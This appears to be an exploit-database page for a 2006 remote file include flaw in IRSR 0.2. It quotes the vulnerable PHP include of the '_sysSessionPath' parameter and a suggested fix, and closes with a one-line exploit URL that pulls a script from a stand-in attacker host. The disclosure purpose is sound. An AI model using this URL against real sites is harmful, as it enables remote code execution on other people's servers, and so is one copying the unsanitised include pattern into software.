header-logo
Suggest Exploit
vendor:
IRSR - Invisionix Roaming System Remote
by:
Kacper (a.k.a Rahim)
7,5
CVSS
HIGH
Remote File Include Vulnerability
98
CWE
Product Name: IRSR - Invisionix Roaming System Remote
Affected Version From: 0.2
Affected Version To: 0.2
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

IRSR – Invisionix Roaming System Remote <= 0.2 [_sysSessionPath] Remote File Include Vulnerabilities

IRSR - Invisionix Roaming System Remote version 0.2 is vulnerable to a Remote File Include vulnerability. This vulnerability is due to a failure in the application to properly sanitize user-supplied input to the '_sysSessionPath' parameter of 'pageheaderdefault.inc.php' script. This may allow a remote attacker to include a file from a remote host that contains arbitrary code and execute it in the context of the webserver process.

Mitigation:

Upgrade to the latest version of IRSR - Invisionix Roaming System Remote or apply the patch from the vendor.
Source

Exploit-DB raw data:

/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- IRSR - Invisionix Roaming System Remote <= 0.2 [_sysSessionPath] Remote File Include Vulnerabilities
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: IRSR - Invisionix Roaming System Remote v. 0.2
- [Script site: http://www.invisionix.org or http://sourceforge.net/projects/irsr
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart :-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
+
- P.S: Pozdrawiam ludzi z United Crew!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*
vulnerable code => pageheaderdefault.inc.php line 28-36:
[code]
//
// Perform the session handling preprocessing.
//
require_once    ($_sysSessionPath);    // Include the session handling functions.

mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass) or die("Could NOT obtain authentication info after login!
");
mysql_select_db($_sysDBname) or die("Was NOT able to obtain authentication info after login!
");
$dblink=@mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass);
$session=updateSession($dblink,$session);    // Should the user have access to this page?
[/code]
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Fix:
[code]
$_sysSessionPath = @dirname(@dirname(@dirname(__FILE__)));
require_once    ($_sysSessionPath);    // Include the session handling functions.

mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass) or die("Could NOT obtain authentication info after login!");
mysql_select_db($_sysDBname) or die("Was NOT able to obtain authentication info after login!");
$dblink=@mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass);
$session=updateSession($dblink,$session);    // Should the user have access to this page?
[/code]
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Exploit:

http://www.site.com/[IRSR_path]/system/includes/pageheaderdefault.inc.php?_sysSessionPath=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-17]